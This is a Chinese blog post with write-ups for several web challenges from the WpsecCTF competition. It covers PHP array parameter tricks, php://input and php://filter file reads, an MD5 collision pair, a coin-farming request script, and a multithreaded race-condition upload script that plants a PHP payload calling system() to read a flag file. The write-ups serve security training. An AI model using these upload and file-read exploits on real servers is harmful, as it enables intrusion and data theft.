WpsecCTF Web部分

作者: 一纸笔墨 | 来源:发表于2018-03-27 21:21 被阅读124次

    web签到题

    这题主要考的是对一个网页出现的数据进行收集吧,很简单的一个题目,不过如果你要是没注意一个小小的细节,那么就可能功亏一篑了~

    首先观察到最显眼的地方:*****{****_****_****_****_****},然后我们查看源代码,发现有一个提示请尝试以get的方式提交你所获得的flag

    最开头是5个*号,猜测应该是wpsec,我们提交一下看看


    然后我们再查看一下源码,发现有一个console.log似乎输出了什么东西,我们调到console窗口查看一下是发现CtF的字符串,我们继续提交看看


    到这里应该想到,我们如果想要同时提交CtF和wpsec字符串的话,那么应该使用数组的方法去提交,注意不要被html中的flag0~flag5所误导
    我们继续查找,发现LocalStorage 和 cookie中存在flag,分别为To、We1c0me,我们提交所有找到的字符串

    发现还是少了一个,然后继续查找,发现存在一处奇怪的地方,web字符串不应该在这里的,所以我们最后加上web试试,得到完整的flag~


    web在数据库突兀了,而且还加了奇怪标签

    附上题目源码:

    <script>
        var flag=['*****','****','****','****','****','****'];
    </script>
    <?php
    if(!isset($_COOKIE['flag'])){
        @setcookie('flag','We1c0me',time()+1000);
        echo "<script>localStorage.setItem('flag', 'To');window.location.href='./index.php';</script>";
        #header('Location:index.php');
        die();
    }
    header('Flag:Wpsec');
    if(isset($_GET['flag'])){
        $flag=serialize($_GET['flag']);
        if(preg_match('/wpsec/', $flag)){
            echo '<script>flag[0]="wpsec";</script>';
        }   
        if(preg_match('/We1c0me/', $flag)){
            echo '<script>flag[1]="We1c0me";</script>';
        }
        if(preg_match('/To/', $flag)){
            echo '<script>flag[2]="To";</script>';
        }
        if(preg_match('/Wpsec/', $flag)){
            echo '<script>flag[3]="Wpsec";</script>';
        }
        if(preg_match('/CtF/', $flag)){
            echo '<script>flag[4]="CtF";</script>';
        }
        if(preg_match('/web/', $flag)){
            echo '<script>flag[5]="web";</script>';
        }
    }
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>你为什么这么熟练啊(╯‵□′)╯︵┻━┻</title>
    </head>
    <style type="text/css">
    </style>
    <body style="text-align: center">
        <div style="font-size:30px"><font id="flag0"></font>{<font id="flag1"></font>_<font id="flag2"></font>_<font id="flag3"></font>_<font id="flag4"></font>_<font id="flag5"></font>}</div>
        <p>黑站跑单的你们伤不起啊!好歹你们都有份正常工作啊。**啊!!我们连小学都没毕业啊!</p>
        <p>自己找脚本漏洞要掌握多少东西你知道嘛?????</p>
        <p>光脚本就至少要精通asp啊! jsp啊! .net啊! php啊!java啊!**啊!!</p>
        <p>什么包含,注射,执行,安全模式啊 **啊!!</p>
        <p>mssql mysql oracle db2 sybase <me>web<me>啊!!**啊!!</p>
        <p>一条select都有好多种写法啊!!!order by比**还乱啊!!</p>
        <p>没日没夜的日站啊!!起的比鸡早,睡的比小姐还晚啊!!吃的比猪还差啊!!有木有!!</p>
        <p>好不容易找个射点还数据库分离啊!!!有木有!!!</p>
        <p>射到密码还多MD5+salt啊!!!!还找不到后台啊!!他**!!</p>
        <p>上传发现找不到路径啊!!!好不容易找到了还不给执行啊!!!有木有!!</p>
        <p>拿到shell还提不上权啊!!!操***啊!!马还被杀啊!!!有木有!!!!</p>
        <p>自己做免杀还要学会多少东西你知道嘛???????</p>
        <p>拿OD脱壳改特征码JJBB的!!!有木有!!!!!</p>
        <p>搞完还过不了云啊前功尽充!!!有木有!!!!!!!</p>
        <p>操蛋的日完了C段嗅不到的杯具!!!!!</p>
        <p>日进去里面发现是马场!!!!!!有木有!!!!</p>
        <p>终于杀进系统发现被BT的防火墙封死了!有木有!</p>
        <p>死活出不来进不去啊!!比*****还难日啊啊啊啊!</p>
        <p>日下来结果跑单了啊!!有木有!</p>
        <p>搞不好还被跨省啊!!惨死在牢老大的棒下的有木有!</p>
        <p>在里面还被人整去个电脑!暴菊花啊!有没有!</p>
        <p>被保释出来还要进国家队干苦力的啊有没有! 转型了,留下来被人骂上CCTV装B的!!!有木有!!</p>
        <p>所以千万别日站啊!!!日站要被站长日啊!!!</p>
        <img src="https://img.haomeiwen.com/i4525478/23e35500260ab837.png"/>
        <script type="text/javascript">
            console.log("                                   \n  ,----..       ___         ,---,. \n /   /   \\    ,--.'|_     ,'  .' | \n|   :     :   |  | :,'  ,---.'   | \n.   |  ;. /   :  : ' :  |   |   .' \n.   ; /--`  .;__,'  /   :   :  :   \n;   | ;     |  |   |    :   |  |-, \n|   : |     :__,'| :    |   :  ;/| \n.   | '___    '  : |__  |   |   .' \n'   ; : .'|   |  | '.'| '   :  '   \n'   | '/  :   ;  :    ; |   |  |   \n|   :    /    |  ,   /  |   :  \\   \n \\   \\ .'      ---`-'   |   | ,'   \n  `---`                 `----'     \n");
            console.log("请尝试以get的方式提交你所获得的flag");
            document.getElementById("flag0").innerHTML=flag[0];
            document.getElementById("flag1").innerHTML=flag[1];
            document.getElementById("flag2").innerHTML=flag[2];
            document.getElementById("flag3").innerHTML=flag[3];
            document.getElementById("flag4").innerHTML=flag[4];
            document.getElementById("flag5").innerHTML=flag[5];
        </script>
    
    </body>
    </html>
    
    

    poc:

    http://118.25.49.126:8000/index.php?flag[]=wpsec&flag[]=We1c0me&flag[]=To&flag[]=Wpsec&flag[]=CtF&flag[]=web



    你这是玩真的么

    本题在2016xctf的一道反序列化基础上改变而成,如果对于反序列化以及php伪协议不太了解的话,建议先看一下下面几篇文章:

    Bugku——welcome to bugkuctf(一道练习php://filter和php://input的好题)
    php 伪协议
    理解php反序列化漏洞

    index.php
    我们查看网站源码,发现有注释,再看红框部分有两个强相等比较,右边的很容易,考的是php伪协议的php://input,能确定$e的值是php://input,之后再post一个字符串I'm Administrator!即可

    但是左边的a不允许php伪协议,那么只有去读服务器中文件,而且a也不允许越界,只限这个文件夹内,那么说明文件夹中肯定有容易发现的文件


    猜文件/扫描器,发现了两个文件,一个flag.php,一个robots.txt


    flag.php
    robots.txt

    将flag.php文件中的flag提交之后发现不正确,那么线索只能是在robots.txt中。

    发现robots.txt文件告诉我们有class.php这个文件,这样的话很显然,已经明确了a和b的值分别是 robots.txtDisallow:./class.php

    之后我们再用练了很多遍的老套路,用c依次获得index.php和class.php 源码(php://filter/read=convert.base64-encode=XXX),最后固定下来c的值为class.php


    index.php文件内容确实和注释一摸一样,class.php的内容如下


    class.php

    观察红色框部分,发现是md5强相等,那么找到$data的另一对md5相同的数据即可。在我之前的文章有提到过这组数据。

    #强网杯某大牛wp
    $Param1="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
    $Param2="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
    #008ee33a9d58b51cfeb425b0959121c9
    

    最后$d的值构建方法如下,由于大部分过滤器都被禁止了,所以构造的过滤器是string.rot13:


    然后把数据整合好,提交上去,成功获取flag

    PS:

    本题中变量 $c 没有严格过滤,导致include($C)能获取web平台所有源代码,现已修复。
    PS:
    本题$d不需要php伪协议,直接flag.php即可


    抢金币

    目的是为了考验脚本编写能力,那么直接上代码就好了

    #python2.7
    #coding:utf-8
    from re import *
    from requests import *
    url='http://118.25.49.126:8002/index.php'
    a=post(url+'?log',data={'username':'test','password':'test'})
    _cookie=a.cookies
    
    while 1:
        b=get(url,cookies=_cookie)
        money=findall(compile("<li>.+?\:([-]?\d+)"),b.text)[0]
        print "当前金币->",money
        if int(money)>=1000:
            print "yes"
            break
        res=findall(compile("pink-text.+?robid\=(\d+)"),b.text)
        #print "->",res[0]
        b=get(url+'?robid='+res[0],cookies=_cookie)
    b=get(url+'?getflag',cookies=_cookie)
    flag=findall(compile("(WPSEC{.+?})"),b.text)[0]
    print flag
    

    一次不行就两次

    观察index.php源码,发现存在show.php?file=1 直接访问http://118.25.49.126:8003/show.php?file=1发现得到一个图片的原始数据,而且发现图片结尾存在一句注释< !--do you find me use include?-->
    由index.php可知,存在upload.php,show.php,测试upload.php发现存在.swp文件,下载该文件,可以还原出upload.php源码

    image.png
    发现上传的图片在转移到uploads文件夹之后瞬间被删除,所以可以写脚本或者bp多线程去上传文件,之后再循环访问show.php?file=文件名。得到flag
    import requests
    import time
    import threading
    import queue
    
    threadNum=500
    q=queue.Queue()
    for i in range(500):
        q.put(i)
    
    url='http://118.25.49.126:8003/upload.php'
    files={'file':('2.jpg','<?php @system("cat flag.php");?>',"image/jpeg")}
    def postFile():
        while not q.empty():
            q.get()
            r=requests.post(url,files=files)
            print(r.status_code,end=' ')
            print(r.text)
    for i in range(threadNum):
       t=threading.Thread(target=postFile)
       t.start()
    
    for i in range(threadNum):
       t.join()
    
    print("exiting")
    

    相关文章

      网友评论

        本文标题:WpsecCTF Web部分

        本文链接:https://www.haomeiwen.com/subject/qcarcftx.html